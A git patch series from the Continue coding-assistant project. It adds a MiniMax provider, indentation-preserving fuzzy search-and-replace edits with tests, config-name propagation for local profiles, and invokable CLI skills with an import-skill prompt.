@@ import { GeminiApi } from "./apis/Gemini.js"; import { InceptionApi } from "./apis/Inception.js"; import { JinaApi } from "./apis/Jina.js"; import { LlamastackApi } from "./apis/LlamaStack.js"; +import { MiniMaxApi } from "./apis/MiniMax.js"; import { MockApi } from "./apis/Mock.js"; import { MoonshotApi } from "./apis/Moonshot.js"; import { OpenAIApi } from "./apis/OpenAI.js"; @@ -141,6 +142,8 @@ export function constructLlmApi(config: LLMConfig): BaseLlmApi | undefined { return openAICompatible("http://localhost:8000/v1/", config); case "groq": return openAICompatible("https://api.groq.com/openai/v1/", config); + case "minimax": + return new MiniMaxApi(config); case "sambanova": return openAICompatible("https://api.sambanova.ai/v1/", config); case "text-gen-webui": diff --git a/packages/openai-adapters/src/types.ts b/packages/openai-adapters/src/types.ts index 4b809ca82..87dff3104 100644 --- a/packages/openai-adapters/src/types.ts +++ b/packages/openai-adapters/src/types.ts @@ -75,6 +75,11 @@ export const DeepseekConfigSchema = OpenAIConfigSchema.extend({ }); export type DeepseekConfig = z.infer; +export const MiniMaxConfigSchema = OpenAIConfigSchema.extend({ + provider: z.literal("minimax"), +}); +export type MiniMaxConfig = z.infer; + export const BedrockConfigSchema = OpenAIConfigSchema.extend({ provider: z.literal("bedrock"), // cacheBehavior: z.object({ @@ -264,6 +269,7 @@ export const LLMConfigSchema = z.discriminatedUnion("provider", [ BedrockConfigSchema, MoonshotConfigSchema, DeepseekConfigSchema, + MiniMaxConfigSchema, CohereConfigSchema, AzureConfigSchema, GeminiConfigSchema, From 9c08e5917a1196da847b41c1996e39e3badf3307 Mon Sep 17 00:00:00 2001 From: Matt Van Horn Date: Tue, 24 Mar 2026 13:12:00 -0700 Subject: [PATCH 44/66] fix: preserve indentation when applying code edits to Python files (#11289) * fix: preserve indentation when applying code edits via fuzzy matching When fallback matching strategies (trimmedMatch, whitespaceIgnoredMatch) find a match with different indentation than the LLM-provided old_string, the replacement new_string now has its indentation adjusted to match the actual indentation level in the file. This fixes incorrect indentation in Python code edits where the LLM provides unindented search/replace strings that match indented code blocks. Fixes #11282 Co-Authored-By: Claude Opus 4.6 * fix(core): adjust indentation when fallback match strategies splice replacements Co-Authored-By: Claude Opus 4.6 --------- Co-authored-by: Matt Van Horn <455140+mvanhorn@users.noreply.github.com> Co-authored-by: Claude Opus 4.6 --- .../executeFindAndReplace.vitest.ts | 78 +++++++++++++++ core/edit/searchAndReplace/performReplace.ts | 98 ++++++++++++++++++- 2 files changed, 173 insertions(+), 3 deletions(-) diff --git a/core/edit/searchAndReplace/executeFindAndReplace.vitest.ts b/core/edit/searchAndReplace/executeFindAndReplace.vitest.ts index 9ae1857b6..de9f62cc0 100644 --- a/core/edit/searchAndReplace/executeFindAndReplace.vitest.ts +++ b/core/edit/searchAndReplace/executeFindAndReplace.vitest.ts @@ -207,6 +207,84 @@ describe("executeFindAndReplace", () => { }); }); + describe("indentation adjustment", () => { + it("should adjust indentation when trimmedMatch finds unindented old_string in indented file", () => { + const fileContent = + "def foo():\n x = 1\n y = 2\n return x + y\n"; + // LLM sends unindented old_string that matches via trimmedMatch + const oldString = "x = 1\ny = 2"; + const newString = "x = 10\ny = 20"; + const result = executeFindAndReplace( + fileContent, + oldString, + newString, + false, + ); + expect(result).toBe( + "def foo():\n x = 10\n y = 20\n return x + y\n", + ); + }); + + it("should preserve relative inner indentation in multi-line replacement", () => { + const fileContent = + "class Foo:\n def bar(self):\n if True:\n x = 1\n"; + const oldString = "if True:\n x = 1"; + const newString = "if True:\n x = 1\n y = 2"; + const result = executeFindAndReplace( + fileContent, + oldString, + newString, + false, + ); + expect(result).toBe( + "class Foo:\n def bar(self):\n if True:\n x = 1\n y = 2\n", + ); + }); + + it("should handle tab vs space mismatch", () => { + const fileContent = "function foo() {\n\tconst x = 1;\n}\n"; + // LLM sends with leading spaces (not tabs), triggering trimmedMatch + const oldString = " const x = 1;"; + const newString = " const x = 2;\n const y = 3;"; + const result = executeFindAndReplace( + fileContent, + oldString, + newString, + false, + ); + expect(result).toBe( + "function foo() {\n\tconst x = 2;\n\tconst y = 3;\n}\n", + ); + }); + + it("should not adjust indentation for exactMatch", () => { + const fileContent = " x = 1\n"; + const oldString = " x = 1"; + const newString = " x = 2"; + const result = executeFindAndReplace( + fileContent, + oldString, + newString, + false, + ); + expect(result).toBe(" x = 2\n"); + }); + + it("should handle whitespaceIgnoredMatch with different internal whitespace", () => { + const fileContent = "def outer():\n if True:\n return 42\n"; + // Different internal whitespace triggers whitespaceIgnoredMatch + const oldString = "if True:\n return 42"; + const newString = "if True:\n return 99"; + const result = executeFindAndReplace( + fileContent, + oldString, + newString, + false, + ); + expect(result).toBe("def outer():\n if True:\n return 99\n"); + }); + }); + describe("edge cases", () => { it("should handle single character replacement", () => { const content = "a b c"; diff --git a/core/edit/searchAndReplace/performReplace.ts b/core/edit/searchAndReplace/performReplace.ts index 65453e06c..6da5c3c50 100644 --- a/core/edit/searchAndReplace/performReplace.ts +++ b/core/edit/searchAndReplace/performReplace.ts @@ -1,6 +1,86 @@ import { EditOperation } from "../../tools/definitions/multiEdit"; import { ContinueError, ContinueErrorReason } from "../../util/errors"; -import { findSearchMatches } from "./findSearchMatch"; +import { SearchMatchResult, findSearchMatches } from "./findSearchMatch"; + +/** + * Get the leading whitespace of the first non-empty line in a string. + */ +function getLeadingIndent(text: string): string { + const lines = text.split("\n"); + for (const line of lines) { + if (line.trim().length > 0) { + const match = line.match(/^(\s*)/); + return match ? match[1] : ""; + } + } + return ""; +} + +/** + * Get the indentation of the file line containing a given character position. + */ +function getLineIndentAtPosition( + fileContent: string, + position: number, +): string { + const lineStart = fileContent.lastIndexOf("\n", position - 1) + 1; + const lineEnd = fileContent.indexOf("\n", lineStart); + const line = fileContent.substring( + lineStart, + lineEnd === -1 ? fileContent.length : lineEnd, + ); + const match = line.match(/^(\s*)/); + return match ? match[1] : ""; +} + +/** + * When a fuzzy match strategy (trimmedMatch, whitespaceIgnoredMatch, etc.) + * finds a match, the indentation of the matched region in the file may + * differ from the indentation in the search string provided by the LLM. + * This function adjusts newString so its indentation is relative to the + * actual matched text in the file rather than the LLM-provided oldString. + */ +function adjustReplacementIndentation( + fileContent: string, + match: SearchMatchResult, + oldString: string, + newString: string, +): string { + if ( + match.strategyName === "exactMatch" || + match.strategyName === "emptySearch" + ) { + return newString; + } + + const matchedIndent = getLineIndentAtPosition(fileContent, match.startIndex); + const oldIndent = getLeadingIndent(oldString); + + if (matchedIndent === oldIndent) { + return newString; + } + + const lines = newString.split("\n"); + const adjusted = lines.map((line, index) => { + if (line.trim().length === 0) { + return line; + } + if (index === 0) { + // First line: the file content before startIndex already provides + // indentation, so strip the old indent rather than adding new + if (oldIndent && line.startsWith(oldIndent)) { + return line.slice(oldIndent.length); + } + return line; + } + // Subsequent lines: replace oldIndent prefix with matchedIndent + if (line.startsWith(oldIndent)) { + return matchedIndent + line.slice(oldIndent.length); + } + return line; + }); + return adjusted.join("\n"); +} export function executeFindAndReplace( fileContent: string, @@ -23,9 +103,15 @@ export function executeFindAndReplace( let result = fileContent; for (let i = matches.length - 1; i >= 0; i--) { const match = matches[i]; + const adjustedNew = adjustReplacementIndentation( + result, + match, + oldString, + newString, + ); result = result.substring(0, match.startIndex) + - newString + + adjustedNew + result.substring(match.endIndex); } return result; @@ -40,9 +126,15 @@ export function executeFindAndReplace( // Apply single replacement const match = matches[0]; + const adjustedNew = adjustReplacementIndentation( + fileContent, + match, + oldString, + newString, + ); return ( fileContent.substring(0, match.startIndex) + - newString + + adjustedNew + fileContent.substring(match.endIndex) ); } From bcd514aa55f9f7912b114add7956ba6da46689a3 Mon Sep 17 00:00:00 2001 From: MumuTW <42820974+MumuTW@users.noreply.github.com> Date: Wed, 25 Mar 2026 05:37:52 +0900 Subject: [PATCH 45/66] fix: use config.yaml name for default Local Config profile (#11110) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(core): pass config name through ConfigResult instead of re-reading file Rework per reviewer feedback: instead of reading config.yaml separately in LocalProfileLoader's constructor, propagate the name field through ConfigResult from the existing config loading pipeline. Changes: - Add optional configName to ConfigResult interface - Populate configName in unroll.ts where AssistantUnrolled is built - Propagate through loadContinueConfigFromYaml → doLoadConfig - LocalProfileLoader now reads configName from doLoadConfig result - Remove duplicate fs.readFileSync + parseConfigYaml from constructor - Works in WSL and other environments where file paths may differ Addresses: https://github.com/continuedev/continue/issues/11061 * style: fix prettier formatting in doLoadConfig.ts --------- Co-authored-by: Dallin Romney --- core/config/profile/LocalProfileLoader.ts | 24 +++++------- .../profile/LocalProfileLoader.vitest.ts | 39 +++++++++++++++++++ core/config/profile/doLoadConfig.ts | 16 +++++++- core/config/yaml/loadYaml.ts | 2 + packages/config-yaml/src/load/unroll.ts | 12 +++++- packages/config-yaml/src/validation.ts | 2 + 6 files changed, 77 insertions(+), 18 deletions(-) diff --git a/core/config/profile/LocalProfileLoader.ts b/core/config/profile/LocalProfileLoader.ts index 1ddde69ad..d72e8c4ce 100644 --- a/core/config/profile/LocalProfileLoader.ts +++ b/core/config/profile/LocalProfileLoader.ts @@ -1,4 +1,4 @@ -import { ConfigResult, parseConfigYaml } from "@continuedev/config-yaml"; +import { ConfigResult } from "@continuedev/config-yaml"; import { ControlPlaneClient } from "../../control-plane/client.js"; import { ContinueConfig, IDE, ILLMLogger } from "../../index.js"; @@ -13,6 +13,8 @@ import { IProfileLoader } from "./IProfileLoader.js"; export default class LocalProfileLoader implements IProfileLoader { static ID = "local"; + description: ProfileDescription; + constructor( private ide: IDE, private controlPlaneClient: ControlPlaneClient, @@ -21,7 +23,7 @@ export default class LocalProfileLoader implements IProfileLoader { | { path: string; content: string } | undefined, ) { - const description: ProfileDescription = { + this.description = { id: overrideAssistantFile?.path ?? LocalProfileLoader.ID, profileType: "local", fullSlug: { @@ -39,19 +41,7 @@ export default class LocalProfileLoader implements IProfileLoader { localPathToUri(getPrimaryConfigFilePath()), rawYaml: undefined, }; - this.description = description; - if (overrideAssistantFile?.content) { - try { - const parsedAssistant = parseConfigYaml( - overrideAssistantFile?.content ?? "", - ); - this.description.title = parsedAssistant.name; - } catch (e) { - console.error("Failed to parse config file: ", e); - } - } } - description: ProfileDescription; async doLoadConfig(): Promise> { const result = await doLoadConfig({ @@ -72,6 +62,12 @@ export default class LocalProfileLoader implements IProfileLoader { this.description.errors = result.errors; + // Use the config name from the loaded config (avoids duplicate file reads + // and works in environments like WSL where paths may differ) + if (result.configName) { + this.description.title = result.configName; + } + return result; } diff --git a/core/config/profile/LocalProfileLoader.vitest.ts b/core/config/profile/LocalProfileLoader.vitest.ts index 0253936ae..7fdf3d188 100644 --- a/core/config/profile/LocalProfileLoader.vitest.ts +++ b/core/config/profile/LocalProfileLoader.vitest.ts @@ -67,4 +67,43 @@ describe("LocalProfileLoader", () => { }), ); }); + + it("should update title from configName when available", async () => { + mockDoLoadConfig.mockResolvedValueOnce({ + config: {}, + errors: [], + configLoadInterrupted: false, + configName: "My Custom Config", + }); + + const loader = new LocalProfileLoader( + testIde, + controlPlaneClient, + llmLogger, + ); + + expect(loader.description.title).toBe("Local Config"); + + await loader.doLoadConfig(); + + expect(loader.description.title).toBe("My Custom Config"); + }); + + it("should keep default title when configName is not set", async () => { + mockDoLoadConfig.mockResolvedValueOnce({ + config: {}, + errors: [], + configLoadInterrupted: false, + }); + + const loader = new LocalProfileLoader( + testIde, + controlPlaneClient, + llmLogger, + ); + + await loader.doLoadConfig(); + + expect(loader.description.title).toBe("Local Config"); + }); }); diff --git a/core/config/profile/doLoadConfig.ts b/core/config/profile/doLoadConfig.ts index bcfec2ff8..b3047e780 100644 --- a/core/config/profile/doLoadConfig.ts +++ b/core/config/profile/doLoadConfig.ts @@ -113,6 +113,7 @@ export default async function doLoadConfig(options: { let newConfig: ContinueConfig | undefined; let errors: ConfigValidationError[] | undefined; let configLoadInterrupted = false; + let configName: string | undefined; const hasPreReadContent = packageIdentifier.uriType === "file" && @@ -138,6 +139,7 @@ export default async function doLoadConfig(options: { newConfig = result.config; errors = result.errors; configLoadInterrupted = result.configLoadInterrupted; + configName = result.configName; } else { const result = await loadContinueConfigFromJson( ide, @@ -154,7 +156,12 @@ export default async function doLoadConfig(options: { } if (configLoadInterrupted || !newConfig) { - return { errors, config: newConfig, configLoadInterrupted: true }; + return { + errors, + config: newConfig, + configLoadInterrupted: true, + configName, + }; } // TODO using config result but result with non-fatal errors is an antipattern? @@ -446,7 +453,12 @@ export default async function doLoadConfig(options: { controlPlaneProxyInfo, ); - return { config: newConfig, errors, configLoadInterrupted: false }; + return { + config: newConfig, + errors, + configLoadInterrupted: false, + configName, + }; } // Pass ControlPlaneProxyInfo to objects that need it diff --git a/core/config/yaml/loadYaml.ts b/core/config/yaml/loadYaml.ts index 40278fdbe..f7a82635b 100644 --- a/core/config/yaml/loadYaml.ts +++ b/core/config/yaml/loadYaml.ts @@ -466,6 +466,7 @@ export async function loadContinueConfigFromYaml(options: { errors: configYamlResult.errors, config: undefined, configLoadInterrupted: true, + configName: configYamlResult.configName, }; } @@ -495,5 +496,6 @@ export async function loadContinueConfigFromYaml(options: { config: withShared, errors: [...(configYamlResult.errors ?? []), ...localErrors], configLoadInterrupted: false, + configName: configYamlResult.configName, }; } diff --git a/packages/config-yaml/src/load/unroll.ts b/packages/config-yaml/src/load/unroll.ts index fd0300a22..44285d7be 100644 --- a/packages/config-yaml/src/load/unroll.ts +++ b/packages/config-yaml/src/load/unroll.ts @@ -310,10 +310,12 @@ export async function unrollAssistantFromContent( }); if (!options.renderSecrets) { + const parsed = parseAssistantUnrolled(templatedYaml); return { - config: parseAssistantUnrolled(templatedYaml), + config: parsed, errors: [], configLoadInterrupted: false, + configName: parsed?.name || undefined, }; } @@ -333,7 +335,12 @@ export async function unrollAssistantFromContent( options.onPremProxyUrl, ); - return { config: renderedConfig, errors, configLoadInterrupted }; + return { + config: renderedConfig, + errors, + configLoadInterrupted, + configName: renderedConfig?.name || undefined, + }; } function isPackageAllowed( @@ -678,6 +685,7 @@ export async function unrollBlocks( config: undefined, errors: undefined, configLoadInterrupted: false, + configName: unrolledAssistant.name || undefined, }; configResult.config = unrolledAssistant; if (errors.length > 0) { diff --git a/packages/config-yaml/src/validation.ts b/packages/config-yaml/src/validation.ts index b6378f12e..16f3a7c4e 100644 --- a/packages/config-yaml/src/validation.ts +++ b/packages/config-yaml/src/validation.ts @@ -10,6 +10,8 @@ export interface ConfigResult { config: T | undefined; errors: ConfigValidationError[] | undefined; configLoadInterrupted: boolean; + /** Optional display name from config.yaml `name` field */ + configName?: string; } function containsUnicode(str: string): boolean { From 65c02eabb4de3b8c3da4a4d6cb44e1e969988d9d Mon Sep 17 00:00:00 2001 From: Aditya Mitra <61635505+uinstinct@users.noreply.github.com> Date: Wed, 25 Mar 2026 02:15:09 +0530 Subject: [PATCH 46/66] feat(cli): invokable skills and import any skill (#11113) * list all skills using /skills slash command * make skills slash command invokable * load the skill using skills tool * make skills tool allowed by default * add /import-skills slash command * Update extensions/cli/src/tools/skills.ts Co-authored-by: cubic-dev-ai[bot] <191113872+cubic-dev-ai[bot]@users.noreply.github.com> * fix stale in use effect --------- Co-authored-by: cubic-dev-ai[bot] <191113872+cubic-dev-ai[bot]@users.noreply.github.com> Co-authored-by: Dallin Romney --- .../cli/src/__mocks__/commands/commands.ts | 2 +- .../src/commands/commands.integration.test.ts | 20 +++--- extensions/cli/src/commands/commands.ts | 42 +++++++++++- .../cli/src/permissions/defaultPolicies.ts | 2 + extensions/cli/src/slashCommands.ts | 66 ++++++++++++++++++- extensions/cli/src/tools/skills.ts | 33 ++++++++++ extensions/cli/src/ui/SlashCommandUI.tsx | 52 ++++++++++----- extensions/cli/src/ui/UserInput.tsx | 50 ++++++++------ extensions/cli/src/util/loadMarkdownSkills.ts | 24 +++++++ 9 files changed, 241 insertions(+), 50 deletions(-) diff --git a/extensions/cli/src/__mocks__/commands/commands.ts b/extensions/cli/src/__mocks__/commands/commands.ts index 1b79602d3..01f270389 100644 --- a/extensions/cli/src/__mocks__/commands/commands.ts +++ b/extensions/cli/src/__mocks__/commands/commands.ts @@ -1,6 +1,6 @@ import { vi } from "vitest"; -export const getAllSlashCommands = vi.fn(() => [ +export const getAllSlashCommands = vi.fn(async () => [ { name: "help", description: "Show help", category: "system" }, { name: "login", description: "Login to Continue", category: "system" }, ]); diff --git a/extensions/cli/src/commands/commands.integration.test.ts b/extensions/cli/src/commands/commands.integration.test.ts index 59984fc9f..c33ddb632 100644 --- a/extensions/cli/src/commands/commands.integration.test.ts +++ b/extensions/cli/src/commands/commands.integration.test.ts @@ -17,8 +17,8 @@ describe("Slash Commands Integration", () => { }; describe("System Commands Registration", () => { - it("should include all system commands in the commands list", () => { - const commands = getAllSlashCommands(mockAssistant); + it("should include all system commands in the commands list", async () => { + const commands = await getAllSlashCommands(mockAssistant); const commandNames = commands.map((cmd) => cmd.name); // Check that system commands are present (mode commands have been removed) @@ -33,15 +33,15 @@ describe("Slash Commands Integration", () => { expect(commandNames).toContain("config"); }); - it("should include assistant prompt commands", () => { - const commands = getAllSlashCommands(mockAssistant); + it("should include assistant prompt commands", async () => { + const commands = await getAllSlashCommands(mockAssistant); const commandNames = commands.map((cmd) => cmd.name); expect(commandNames).toContain("test-prompt"); }); - it("should categorize system commands correctly", () => { - const commands = getAllSlashCommands(mockAssistant); + it("should categorize system commands correctly", async () => { + const commands = await getAllSlashCommands(mockAssistant); const systemCommands = commands.filter((cmd) => [ "help", @@ -60,8 +60,8 @@ describe("Slash Commands Integration", () => { }); }); - it("should categorize assistant commands correctly", () => { - const commands = getAllSlashCommands(mockAssistant); + it("should categorize assistant commands correctly", async () => { + const commands = await getAllSlashCommands(mockAssistant); const assistantCommands = commands.filter( (cmd) => cmd.name === "test-prompt", ); @@ -71,8 +71,8 @@ describe("Slash Commands Integration", () => { }); }); - it("should only show remote mode commands in remote mode", () => { - const commands = getAllSlashCommands(mockAssistant, { + it("should only show remote mode commands in remote mode", async () => { + const commands = await getAllSlashCommands(mockAssistant, { isRemoteMode: true, }); const commandNames = commands.map((cmd) => cmd.name); diff --git a/extensions/cli/src/commands/commands.ts b/extensions/cli/src/commands/commands.ts index dabfc82ee..dad5f8bb4 100644 --- a/extensions/cli/src/commands/commands.ts +++ b/extensions/cli/src/commands/commands.ts @@ -1,5 +1,10 @@ import { type AssistantConfig } from "@continuedev/sdk"; +import { + getSkillSlashCommandName, + loadMarkdownSkills, +} from "../util/loadMarkdownSkills.js"; + // Export command functions export { chat } from "./chat.js"; export { login } from "./login.js"; @@ -116,6 +121,16 @@ export const SYSTEM_SLASH_COMMANDS: SystemCommand[] = [ description: "Show all chat sessions", category: "system", }, + { + name: "skills", + description: "List all available skills", + category: "system", + }, + { + name: "import-skill", + description: "Import a skill from a URL or name into ~/.continue/skills", + category: "system", + }, ]; // Remote mode specific commands @@ -140,10 +155,10 @@ export const REMOTE_MODE_SLASH_COMMANDS: SlashCommand[] = [ /** * Get all available slash commands including system commands and assistant prompts */ -export function getAllSlashCommands( +export async function getAllSlashCommands( assistant: AssistantConfig, options: { isRemoteMode?: boolean } = {}, -): SlashCommand[] { +): Promise { const { isRemoteMode = false } = options; // In remote mode, only show the exit command @@ -165,7 +180,15 @@ export function getAllSlashCommands( // Get invokable rule commands const invokableRuleCommands = getInvokableRuleSlashCommands(assistant); - return [...systemCommands, ...assistantCommands, ...invokableRuleCommands]; + // Get skill commands + const skillCommands = await getSkillSlashCommands(); + + return [ + ...systemCommands, + ...assistantCommands, + ...invokableRuleCommands, + ...skillCommands, + ]; } /** @@ -212,3 +235,16 @@ export function getInvokableRuleSlashCommands( }; }); } + +/** + * Get skill-based slash commands from Markdown skills + */ +export async function getSkillSlashCommands(): Promise { + const { skills } = await loadMarkdownSkills(); + + return skills.map((skill) => ({ + name: getSkillSlashCommandName(skill), + description: skill.description, + category: "assistant" as const, + })); +} diff --git a/extensions/cli/src/permissions/defaultPolicies.ts b/extensions/cli/src/permissions/defaultPolicies.ts index 8bc4bdf75..caeac927f 100644 --- a/extensions/cli/src/permissions/defaultPolicies.ts +++ b/extensions/cli/src/permissions/defaultPolicies.ts @@ -16,6 +16,7 @@ export function getDefaultToolPolicies( { tool: "AskQuestion", permission: "allow" }, { tool: "Checklist", permission: "allow" }, { tool: "Diff", permission: "allow" }, + { tool: "Skills", permission: "allow" }, { tool: "Exit", permission: "allow" }, // Exit tool is generally safe (headless mode only) { tool: "Fetch", permission: "allow" }, // Technically not read only but edge casey to post w query params { tool: "List", permission: "allow" }, @@ -56,6 +57,7 @@ export const PLAN_MODE_POLICIES: ToolPermissionPolicy[] = [ { tool: "Read", permission: "allow" }, { tool: "ReportFailure", permission: "allow" }, { tool: "Search", permission: "allow" }, + { tool: "Skills", permission: "allow" }, { tool: "Status", permission: "allow" }, { tool: "UploadArtifact", permission: "allow" }, diff --git a/extensions/cli/src/slashCommands.ts b/extensions/cli/src/slashCommands.ts index 7aaa49b1a..64f3787f7 100644 --- a/extensions/cli/src/slashCommands.ts +++ b/extensions/cli/src/slashCommands.ts @@ -13,7 +13,12 @@ import { reloadService, SERVICE_NAMES, services } from "./services/index.js"; import { getCurrentSession, updateSessionTitle } from "./session.js"; import { posthogService } from "./telemetry/posthogService.js"; import { telemetryService } from "./telemetry/telemetryService.js"; +import { buildImportSkillPrompt } from "./tools/skills.js"; import { SlashCommandResult } from "./ui/hooks/useChat.types.js"; +import { + getSkillSlashCommandName, + loadMarkdownSkills, +} from "./util/loadMarkdownSkills.js"; type CommandHandler = ( args: string[], @@ -171,6 +176,49 @@ function handleJobs() { return { openJobsSelector: true }; } +async function handleSkills(): Promise { + const { skills } = await loadMarkdownSkills(); + + if (!skills.length) { + return { + exit: false, + output: chalk.yellow( + "No skills found. Add skills under .continue/skills or .claude/skills.", + ), + }; + } + + const header = chalk.bold("Available skills:"); + const lines = skills.map( + (skill) => + `${chalk.cyan(skill.name)} - ${skill.description} ${chalk.gray( + `(${skill.path})`, + )}`, + ); + + return { + exit: false, + output: [header, "", ...lines].join("\n"), + }; +} + +async function handleImportSkill(args: string[]): Promise { + const query = args.join(" ").trim(); + + if (!query) { + return { + exit: false, + output: chalk.yellow( + "Please provide a skill URL or name. Usage: /import-skill ", + ), + }; + } + + return { + newInput: buildImportSkillPrompt(query), + }; +} + function handleSessions() { return { openSessionSelector: true }; } @@ -210,6 +258,8 @@ const commandHandlers: Record = { return { openUpdateSelector: true }; }, jobs: handleJobs, + skills: () => handleSkills(), + "import-skill": (args) => handleImportSkill(args), sessions: handleSessions, }; @@ -257,8 +307,22 @@ export async function handleSlashCommands( return { newInput }; } + const { skills } = await loadMarkdownSkills(); + if (skills.length) { + const normalizedCommand = command.trim().toLowerCase(); + const matchingSkill = skills.find( + (skill) => getSkillSlashCommandName(skill) === normalizedCommand, + ); + + if (matchingSkill) { + return { + newInput: `Load the skill using the **Skills** tool and then set the **skill_name** parameter to "${matchingSkill.name}".`, + }; + } + } + // Check if this command would match any available commands (same logic as UI) - const allCommands = getAllSlashCommands(assistant, { + const allCommands = await getAllSlashCommands(assistant, { isRemoteMode: options?.isRemoteMode, }); const hasMatches = allCommands.some((cmd) => diff --git a/extensions/cli/src/tools/skills.ts b/extensions/cli/src/tools/skills.ts index 51e7671bd..62ca19819 100644 --- a/extensions/cli/src/tools/skills.ts +++ b/extensions/cli/src/tools/skills.ts @@ -80,3 +80,36 @@ ${skills.map((skill) => `\nname: ${skill.name}\ndescription: ${skill.description }, }; }; + +export function buildImportSkillPrompt(identifier: string): string { + return ` +# Overview + +The user wants to import skills. + +User-provided skill identifier: +${identifier} + +# Guidelines +- There can be multiple skills in a single repository. +- Use the available tools to fetch content and write files. When you are done, briefly summarize which skill you imported and where you saved it. +- Use the "AskQuestion" tool where required to clarify with the user. + +# Process: + +**Identifier can either be a URL or a skill name** + +- If it looks like a URL (for example, it starts with http:// or https://), open that URL and inspect its contents to find the code or files that define the skill. +- If the URL is a GitHub repository, look for the skills folder. There can be multiple skills within subdirectories. +- If it looks like a skill name, you should search for the most relevant open-source skill or repository that matches the skill identifier. +- Ask questions to the user to clarify which skill they are referring to if there are multiple options in your findings. + +**Create the skill files** + +- The skills should be created under the directory: ~/.continue/skills/ +- The subdirectory name should match the name of the skill directory in the fetched repository. +- The relevant files and folders along with SKILL.md should be present inside the created skill subdirectory. +- If the skill already exists, ask question to the user to clarify whether they want to update it. +- Important: Before writing any files, ask the user if they want to proceed with the import. +`; +} diff --git a/extensions/cli/src/ui/SlashCommandUI.tsx b/extensions/cli/src/ui/SlashCommandUI.tsx index 66107c048..79d28e7f0 100644 --- a/extensions/cli/src/ui/SlashCommandUI.tsx +++ b/extensions/cli/src/ui/SlashCommandUI.tsx @@ -1,8 +1,11 @@ import { type AssistantConfig } from "@continuedev/sdk"; import { Box, Text } from "ink"; -import React, { useMemo } from "react"; +import React, { useEffect, useState } from "react"; -import { getAllSlashCommands } from "../commands/commands.js"; +import { + getAllSlashCommands, + type SlashCommand, +} from "../commands/commands.js"; const MAX_DESCRIPTION_LENGTH = 80; @@ -29,20 +32,39 @@ const SlashCommandUI: React.FC = ({ selectedIndex, isRemoteMode = false, }) => { - // Memoize the slash commands to prevent excessive re-renders - const allCommands = useMemo(() => { - if (assistant || isRemoteMode) { - return getAllSlashCommands(assistant || ({} as AssistantConfig), { - isRemoteMode, - }); - } - + const [allCommands, setAllCommands] = useState( // Fallback - basic commands without assistant - return [ - { name: "help", description: "Show help message" }, - { name: "clear", description: "Clear the chat history" }, - { name: "exit", description: "Exit the chat" }, - ]; + [ + { name: "help", description: "Show help message", category: "system" }, + { + name: "clear", + description: "Clear the chat history", + category: "system", + }, + { name: "exit", description: "Exit the chat", category: "system" }, + ], + ); + + useEffect(() => { + let stale = false; + + const loadCommands = async () => { + if (assistant || isRemoteMode) { + const commands = await getAllSlashCommands( + assistant || ({} as AssistantConfig), + { isRemoteMode }, + ); + if (!stale) { + setAllCommands(commands); + } + } + }; + + void loadCommands(); + + return () => { + stale = true; + }; }, [isRemoteMode, assistant?.prompts, assistant?.rules]); // Filter commands based on the current filter diff --git a/extensions/cli/src/ui/UserInput.tsx b/extensions/cli/src/ui/UserInput.tsx index 205d48b2e..98a33ed8a 100644 --- a/extensions/cli/src/ui/UserInput.tsx +++ b/extensions/cli/src/ui/UserInput.tsx @@ -2,9 +2,12 @@ import { type AssistantConfig } from "@continuedev/sdk"; import { Box, Text, useApp, useInput } from "ink"; -import React, { useCallback, useRef, useState } from "react"; +import React, { useCallback, useEffect, useRef, useState } from "react"; -import { getAllSlashCommands } from "../commands/commands.js"; +import { + getAllSlashCommands, + type SlashCommand, +} from "../commands/commands.js"; import { useServices } from "../hooks/useService.js"; import type { PermissionMode } from "../permissions/types.js"; import type { FileIndexServiceState } from "../services/FileIndexService.js"; @@ -180,20 +183,29 @@ const UserInput: React.FC = ({ fileIndex: FileIndexServiceState; }>(["fileIndex"]); - const getSlashCommands = () => { - if (assistant || isRemoteMode) { - return getAllSlashCommands(assistant || ({} as AssistantConfig), { - isRemoteMode, - }); - } + const [slashCommands, setSlashCommands] = useState([ + { name: "help", description: "Show help message", category: "system" }, + { + name: "clear", + description: "Clear the chat history", + category: "system", + }, + { name: "exit", description: "Exit the chat", category: "system" }, + ]); - // Fallback - basic commands without assistant - return [ - { name: "help", description: "Show help message" }, - { name: "clear", description: "Clear the chat history" }, - { name: "exit", description: "Exit the chat" }, - ]; - }; + useEffect(() => { + const loadCommands = async () => { + if (assistant || isRemoteMode) { + const commands = await getAllSlashCommands( + assistant || ({} as AssistantConfig), + { isRemoteMode }, + ); + setSlashCommands(commands); + } + }; + + void loadCommands(); + }, [isRemoteMode, assistant?.prompts, assistant?.rules]); // Cycle through permission modes const cycleModes = async () => { @@ -255,8 +267,7 @@ const UserInput: React.FC = ({ const afterSlash = trimmedText.slice(1).split(/[\s\n]/)[0]; // We're in a slash command context - check if it's a complete command - const allCommands = getSlashCommands(); - const exactMatch = allCommands.find((cmd) => cmd.name === afterSlash); + const exactMatch = slashCommands.find((cmd) => cmd.name === afterSlash); // Hide selector if we have an exact match and there's any additional content if (exactMatch) { @@ -275,7 +286,7 @@ const UserInput: React.FC = ({ } // Check if there are any matching commands - const filteredCommands = allCommands.filter((cmd) => + const filteredCommands = slashCommands.filter((cmd) => cmd.name.toLowerCase().includes(afterSlash.toLowerCase()), ); @@ -346,8 +357,7 @@ const UserInput: React.FC = ({ // Get filtered commands for navigation - using the same sorting logic as SlashCommandUI const getFilteredCommands = () => { - const allCommands = getSlashCommands(); - return allCommands + return slashCommands .filter((cmd) => cmd.name.toLowerCase().includes(slashCommandFilter.toLowerCase()), ) diff --git a/extensions/cli/src/util/loadMarkdownSkills.ts b/extensions/cli/src/util/loadMarkdownSkills.ts index a6b06ff93..cd74dd849 100644 --- a/extensions/cli/src/util/loadMarkdownSkills.ts +++ b/extensions/cli/src/util/loadMarkdownSkills.ts @@ -144,3 +144,27 @@ export async function loadMarkdownSkills(): Promise { return { skills, errors }; } + +export function getSkillSlashCommandName(skill: Skill): string { + // Normalize skill name to lowercase and sanitize for use as command name + const base = skill.name.trim().toLowerCase(); + const safe = base + .replace(/[^a-z0-9]+/g, "-") + .replace(/^-+/, "") + .replace(/-+$/, ""); + + if (safe) { + return `skill-${safe}`; + } + + // Fallback to directory name if skill name is invalid + const dirName = path + .basename(path.dirname(skill.path)) + .toLowerCase() + .replace(/[^a-z0-9]+/g, "-") + .replace(/^-+/, "") + .replace(/-+$/, ""); + + const fallback = dirName || "skill"; + return `skill-${fallback}`; +} From 3c12dab7aa5478e62343b348a12a1adf1c952efa Mon Sep 17 00:00:00 2001 From: Joaquin Hui 